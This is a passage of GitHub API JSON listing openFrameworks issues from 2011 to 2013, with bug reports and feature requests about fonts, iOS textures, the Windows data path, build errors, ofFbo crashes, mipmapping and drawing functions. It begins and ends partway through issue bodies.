some:\r\n\r\ndummy.h\r\n\r\n\t#include \"ofMain.h\"\r\n\r\n\tclass dummy\r\n\t{\r\n\t\tpublic:\r\n\t\t\tdummy();\r\n\t\t\t~dummy();\r\n\t\t\t\t\t\r\n\t\t\tvoid config();\r\n\t\t\tvoid dragEvent(ofDragInfo &info);\r\n\t\t\t\r\n\t\tprivate:\r\n\t\tprotected:\r\n\t\t\r\n\t};\r\n\r\ndummy.cpp\r\n\r\n\t#include \"dummy.h\"\r\n\r\n\tdummy::dummy(){}\r\n\r\n\tdummy::~dummy(){}\r\n\r\n\tvoid dummy::config(){\r\n\t\tofAddListener(ofEvents.fileDragEvent, this, &dummy::dragEvent);\r\n\t}\r\n\r\n\tvoid dummy::dragEvent(ofDragInfo &info){\r\n\t\tfor( int i = 0; i < info.files.size() ; i++){\r\n\t\t\tcout << \"path: \" << info.files[i] << endl;\r\n\t\t}\r\n\t}\r\n\r\n\r\ntesApp.h\r\n\r\n\t#include \"ofMain.h\"\r\n\t#include \"dummy.h\"\r\n\r\n\r\n\tclass testApp : public ofBaseApp{\r\n\r\n\t\tpublic:\r\n\t\t\tvoid setup();\r\n\t\t\tvoid update();\r\n\t\t\tvoid draw();\r\n\r\n\t\t\tvoid keyPressed (int key);\r\n\t\t\tvoid keyReleased(int key);\r\n\t\t\tvoid mouseMoved(int x, int y );\r\n\t\t\tvoid mouseDragged(int x, int y, int button);\r\n\t\t\tvoid mousePressed(int x, int y, int button);\r\n\t\t\tvoid mouseReleased(int x, int y, int button);\r\n\t\t\tvoid windowResized(int w, int h);\r\n\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\t\r\n\t\t\tdummy d;\r\n\r\ntestApp.cpp\r\n\r\n\t#include \"testApp.h\"\r\n\r\n\tvoid testApp::setup(){\r\n\t\td.config();\r\n\r\n\t}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/825","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/825/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/825/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/825/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/825","id":2380571,"number":825,"title":"small font sizes yield oversimplified glyph shapes","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2011-11-29T08:26:16Z","updated_at":"2011-11-29T17:54:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Loading Futura at font size 10 and simplify=0 yields oversimplified chars in a pdf render. I'm not sure if there's a way to fix this if the fonts are small.\r\n\r\nA workaround is to load the font at a larger size, say 40, then scale down by 0.25 when drawing. \r\n\r\nThe font below is a zoom of the pdf export using font size 10. The font above is Futura at font size 144 by comparison.\r\n\r\n![oversimplified fonts](http://farm8.staticflickr.com/7161/6423768819_9129b6d608_o.jpg)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/822","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/822/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/822/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/822/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/822","id":2364541,"number":822,"title":"iOS - ofTexture.loadScreenData issue when antiAliasing is on","user":{"login":"momo-the-monster","id":737888,"avatar_url":"https://secure.gravatar.com/avatar/31f8a3ef87e828b70d2a441c8dae97d8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"31f8a3ef87e828b70d2a441c8dae97d8","url":"https://api.github.com/users/momo-the-monster","html_url":"https://github.com/momo-the-monster","followers_url":"https://api.github.com/users/momo-the-monster/followers","following_url":"https://api.github.com/users/momo-the-monster/following","gists_url":"https://api.github.com/users/momo-the-monster/gists{/gist_id}","starred_url":"https://api.github.com/users/momo-the-monster/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/momo-the-monster/subscriptions","organizations_url":"https://api.github.com/users/momo-the-monster/orgs","repos_url":"https://api.github.com/users/momo-the-monster/repos","events_url":"https://api.github.com/users/momo-the-monster/events{/privacy}","received_events_url":"https://api.github.com/users/momo-the-monster/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":null,"comments":8,"created_at":"2011-11-28T06:48:27Z","updated_at":"2013-03-03T23:58:11Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If I use loadScreenData with anti-Aliasing turned on in the program's startup like this:\r\n\r\nofAppiPhoneWindow * iOSWindow = new ofAppiPhoneWindow();\r\niOSWindow->enableAntiAliasing(4);\r\n\r\nthen the texture will load in nothing but solid black. If I bypass this anti-aliasing, it works fine. I also cannot properly populate a texture using loadScreenData in a landscape orientation. Changing to Portrait orientation in the update loop, and then back to landscape after the grab fixes it."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/819","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/819/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/819/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/819/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/819","id":2316595,"number":819,"title":"datapath messed in windows after using file open dialog","user":{"login":"hvfrancesco","id":614123,"avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","url":"https://api.github.com/users/hvfrancesco","html_url":"https://github.com/hvfrancesco","followers_url":"https://api.github.com/users/hvfrancesco/followers","following_url":"https://api.github.com/users/hvfrancesco/following","gists_url":"https://api.github.com/users/hvfrancesco/gists{/gist_id}","starred_url":"https://api.github.com/users/hvfrancesco/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hvfrancesco/subscriptions","organizations_url":"https://api.github.com/users/hvfrancesco/orgs","repos_url":"https://api.github.com/users/hvfrancesco/repos","events_url":"https://api.github.com/users/hvfrancesco/events{/privacy}","received_events_url":"https://api.github.com/users/hvfrancesco/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":4,"created_at":"2011-11-22T10:50:13Z","updated_at":"2013-03-09T15:19:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i'm experiencing troubles in windows when i use a system file-opening dialog from openframeworks. after using it Data root path seems to get pointing to a wrong location, causing troubles e.g. true type fonts not loading.\r\nif I use the open-file dialog once again to open a file in root folder of the application, then the data path is reset correctly.\r\nusing ofSetDataPathRoot() doens't seem to fix the issue, or maybe I'm not using it correctly."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/818","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/818/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/818/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/818/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/818","id":2306518,"number":818,"title":"#defines for modules ","user":{"login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-11-21T16:45:51Z","updated_at":"2012-03-02T15:19:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Had a talk with Theo about this. I think that it would be really nice if it were possible to #define/ pre-process macro if you want to exclude modules like ofVideoPlayer/ofSoundplayer in your app. \r\n\r\nThis would be super helpful for a couple of reasons.\r\n\r\nplugins that are not able to use the modules can exclude them without hacking the core.\r\nif you want to reduce the final size of you app and its not using something like ofVideoPlayer you dont need to add it.\r\n\r\nwhat do you think..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/815","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/815/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/815/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/815/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/815","id":2268829,"number":815,"title":"Examples in devApps folder do not compile. Missing glew.h","user":{"login":"iani","id":181956,"avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","url":"https://api.github.com/users/iani","html_url":"https://github.com/iani","followers_url":"https://api.github.com/users/iani/followers","following_url":"https://api.github.com/users/iani/following","gists_url":"https://api.github.com/users/iani/gists{/gist_id}","starred_url":"https://api.github.com/users/iani/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/iani/subscriptions","organizations_url":"https://api.github.com/users/iani/orgs","repos_url":"https://api.github.com/users/iani/repos","events_url":"https://api.github.com/users/iani/events{/privacy}","received_events_url":"https://api.github.com/users/iani/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2011-11-17T13:45:47Z","updated_at":"2011-11-17T15:17:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hello, \r\nRunning on MacOS 10.7 with XCode 4.1 I could not compile any of the examples in devApps, except for _DeployExamples. \r\nThe first error always encountered is: \r\n\r\n../../../libs/openFrameworks/utils/ofConstants.h:101:22: error: GL/glew.h: No such file or directory\r\n\r\nI tried both changing the paths of the include part in the code and dragging the GL folder that contains glew.h separately in the project, but neither worked. \r\n\r\nHelp please... \r\n\r\nThanks, \r\n\r\nIannis Zannos"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/814","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/814/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/814/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/814/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/814","id":2267854,"number":814,"title":"Suggest adding some info about Lion to readme.txt","user":{"login":"iani","id":181956,"avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","url":"https://api.github.com/users/iani","html_url":"https://github.com/iani","followers_url":"https://api.github.com/users/iani/followers","following_url":"https://api.github.com/users/iani/following","gists_url":"https://api.github.com/users/iani/gists{/gist_id}","starred_url":"https://api.github.com/users/iani/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/iani/subscriptions","organizations_url":"https://api.github.com/users/iani/orgs","repos_url":"https://api.github.com/users/iani/repos","events_url":"https://api.github.com/users/iani/events{/privacy}","received_events_url":"https://api.github.com/users/iani/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2011-11-17T11:48:32Z","updated_at":"2013-01-13T20:36:34Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hello, \r\nIt took me more than 4 hours to get openFrameworks to compile deployExamples on MacOS X 10.7.2 with XCode 4.1, because of having to figure out two things; \r\n\r\n1. Need to change SDK for the deployExamples project definitions to 10.6\r\n2. Need to choose deployExamples in the build menu on the toolbar of the project window. \r\n\r\nPerhaps this info should be added to the readme.txt file of the present master branch in order to spare other people the hassle? \r\n\r\nI suggest the following addition: \r\n=====\r\nTo deploy openFrameworks examples from the files cloned via the present github repository, you should build and run the project: \r\napps/devApps/_DeployExamples/deployExamples.xcodeproj\r\n\r\nTo successfully compile in Lion (MacOS X 10.7) in XCode you should select in the project file list of XCode both the target deployExamples from the top level of the file hierarchy and the project openFrameworksLib.xcodeproj from inside the openFrameworks folder, then find the project definition, and change the SDK to MacOS X 10.6. You should do the same for the targets of those two items. \r\n\r\nImportant: Before clicking the Build and Go, or the Run button, make sure that you choose the deployExamples project in the menu on the toolbar of the project window. (Otherwise if you leave openFrameworks as selected project and push Run or Build and Run, no application will be created or run). \r\n\r\n\r\n=====\r\nHopefully this helps. \r\nCheers, \r\nIannis Zannos"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/811","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/811/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/811/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/811/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/811","id":2223158,"number":811,"title":"ofFBO causes segfault on Linux Ubuntu Lucid with i945 GPU","user":{"login":"hvfrancesco","id":614123,"avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","url":"https://api.github.com/users/hvfrancesco","html_url":"https://github.com/hvfrancesco","followers_url":"https://api.github.com/users/hvfrancesco/followers","following_url":"https://api.github.com/users/hvfrancesco/following","gists_url":"https://api.github.com/users/hvfrancesco/gists{/gist_id}","starred_url":"https://api.github.com/users/hvfrancesco/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hvfrancesco/subscriptions","organizations_url":"https://api.github.com/users/hvfrancesco/orgs","repos_url":"https://api.github.com/users/hvfrancesco/repos","events_url":"https://api.github.com/users/hvfrancesco/events{/privacy}","received_events_url":"https://api.github.com/users/hvfrancesco/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-11-13T20:49:26Z","updated_at":"2011-11-16T04:46:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm trying this simple ofFbo example on OF 007, the system is Ubuntu Lucid, with an Intel 945 GPU.\r\n\r\n]//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n fbo.allocate(500, 500, GL_RGBA);\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n fbo.begin();\r\n ofClear(255, 255, 255, 255);\r\n ofSetColor(255, 0, 0);\r\n ofCircle(mouseX, mouseY, 100);\r\n fbo.end();\r\n\r\n ofSetColor(255);\r\n fbo.draw(0, 0);\r\n}\r\n\r\nI got a segfault in i915 dri, and any test using ofFbo leads to same results.\r\n\r\n\r\n#0 0x1bd3c36 _mesa_FramebufferRenderbufferEXT() (/usr/lib/dri/i915_dri.so:??)\r\n#1 0x80cc56a ofFbo::createAndAttachRenderbuffer(this=0x85b28e8, internalFormat=34041, attachmentPoint=33306) (../../../openFrameworks/gl/ofFbo.cpp:489)\r\n#2 0x80cc352 ofFbo::allocate(this=0x85b28e8, _settings=...) (../../../openFrameworks/gl/ofFbo.cpp:388)\r\n#3 0x80cc269 ofFbo::allocate(this=0x85b28e8, width=500, height=500, internalformat=6408, numSamples=0) (../../../openFrameworks/gl/ofFbo.cpp:363)\r\n#4 0x80562ec testApp::setup(this=0x85b28d8) (src/testApp.cpp:5)\r\n#5 0x8059ca6 ofNotifySetup() (../../../openFrameworks/events/ofEvents.cpp:73)\r\n#6 0x8056a23 ofAppGlutWindow::runAppViaInfiniteLoop(this=0xbffff2f8, appPtr=0x85b28d8) (../../../openFrameworks/app/ofAppGlutWindow.cpp:317)\r\n#7 0x80584cc ofRunApp(OFSA=0x85b28d8) (../../../openFrameworks/app/ofAppRunner.cpp:82)\r\n#8 0x8055bfc main() (src/main.cpp:14)\r\n\r\nany idea about what I should try or where the problem could be? has anyone experienced similar problems?\r\n\r\nthanks in advance to all"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/810","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/810/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/810/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/810/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/810","id":2206980,"number":810,"title":"Add flag for mipmapping in ofTexture/ofFbo","user":{"login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","html_url":"https://github.com/joshuajnoble","followers_url":"https://api.github.com/users/joshuajnoble/followers","following_url":"https://api.github.com/users/joshuajnoble/following","gists_url":"https://api.github.com/users/joshuajnoble/gists{/gist_id}","starred_url":"https://api.github.com/users/joshuajnoble/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshuajnoble/subscriptions","organizations_url":"https://api.github.com/users/joshuajnoble/orgs","repos_url":"https://api.github.com/users/joshuajnoble/repos","events_url":"https://api.github.com/users/joshuajnoble/events{/privacy}","received_events_url":"https://api.github.com/users/joshuajnoble/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2011-11-11T07:34:53Z","updated_at":"2012-03-09T18:51:38Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Julapy and I were discussing how to do this on the forum http://forum.openframeworks.cc/index.php?topic=7852 and I think adding a flag to allocate for mipmaps to ofTexture and ofFbo would come in handy for some people.\r\n\r\n```c\r\nvoid ofTexture::allocate(int w, int h, int internalGlDataType, bool bUseARBExtention, bool generateMipmaps = false) \r\n{\r\n if( generateMipmaps )\r\n {\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_NEAREST );\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MAG_FILTER, GL_LINEAR );\r\n glTexParameterf( texData.textureTarget, GL_GENERATE_MIPMAP, GL_TRUE );\r\n }\r\n```\r\n\r\nand in ofFbo\r\n\r\n```c\r\nstruct Settings {\r\n bool generateMipMaps; // or int\r\n}\r\n```\r\n\r\nI'd be happy to do this & submit a pull request too."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/800","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/800/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/800/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/800/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/800","id":2089523,"number":800,"title":"ofInsidePoly should be a static method of ofPolyline","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2011-10-30T04:16:14Z","updated_at":"2011-12-03T23:58:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"right now it's inside ofMath.h"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/798","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/798/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/798/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/798/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/798","id":2086039,"number":798,"title":"ofRect isn't quite rectangular","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2011-10-29T06:38:43Z","updated_at":"2011-12-05T21:31:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofRect very commonly has a little chunk missing from one corner.\r\n\r\nthere is also a discrepancy between the filled and outline rectangles. it's not clear whether the outline rect should be within the bounds of the filled rect, or enclosing the filled rect, and in practice it can be a little of both."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/797","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/797/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/797/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/797/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/797","id":2085543,"number":797,"title":"procedural posing of bones in ofxAssimpModelLoader","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-10-29T02:37:28Z","updated_at":"2011-10-29T02:37:28Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"we're working on some ideas regarding procedural animation and 